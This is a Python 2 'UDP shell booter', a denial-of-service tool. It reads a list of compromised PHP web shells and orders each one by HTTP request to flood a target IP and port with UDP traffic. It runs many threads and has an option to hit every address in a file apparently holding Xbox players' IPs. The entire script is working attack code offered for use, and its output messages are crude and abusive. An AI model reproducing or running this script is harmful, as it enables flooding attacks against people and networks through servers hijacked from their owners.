Python UDP Shell Booter

import urllib2
import threading
import socket
from time import sleep

mbs = 0
packets = 0
threads = 0

def Hit(ip, port, time, shell):
    global threads
    global mbs
    global packets
    threads += 1
    shell = shell.replace("\r", "").replace("\n", "")
    try:
        response = urllib2.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read()
        packets += int(response.split("Completed with ")[1].split(" (")[0])
        mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
        mbs += mb
        print str(mb) + " MBs sprayed by " + shell + " at " + ip
    except Exception, e:
        pass
    threads -= 1

def Boot(ip, port, time, shells):
    global threads
    global mbs
    global packets
    threads += 1
    for shell in shells:
        if threads >= 376:
            sleep(0.370)
        thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
        thread.start()
    threads -= 1
fh = open("shells.txt", "r")
shells = fh.read().strip("\r").split("\n")
fh.close()

print "[+] Successfully loaded " + str(len(shells)) + " shells."

attackall = "" # raw_input("Attack all ips from xboxips.txt? ")
if attackall.upper().startswith("Y") == False:
    ip = raw_input("Target IP: ")

port = raw_input("Target port [53]: ")
if port == "":
    port = "53"

time = raw_input("Time [120]: ")
if time == "":
    time = "120"

attkthreads = raw_input("Attack threads [4]: ")
if attkthreads == "":
    attkthreads = 4
else:
    attkthreads = int(attkthreads)

if attackall.upper().startswith("Y"):
    fh = open("xboxips.txt")
    ips = fh.read().strip("\r").split("\n")
    fh.close()
    print "[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)"
    for ip in ips:
        print "Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads."
        for thread in range (0, attkthreads):
            Boot(ip, port, time, shells)
        sleep(0.2)
else: #this makes my OCD so bad omg
    print "Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads."
    for thread in range (0, attkthreads):
        Boot(ip, port, time, shells)
    sleep(1)

try:
    sleep(int(time) + 5)
except KeyboardInterrupt:
    pass

while threads >= 1:
    try:
        print "Waiting for " + str(threads) + " threads to finish..."
        sleep(10)
    except KeyboardInterrupt:
        break
        pass
print
print "[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^"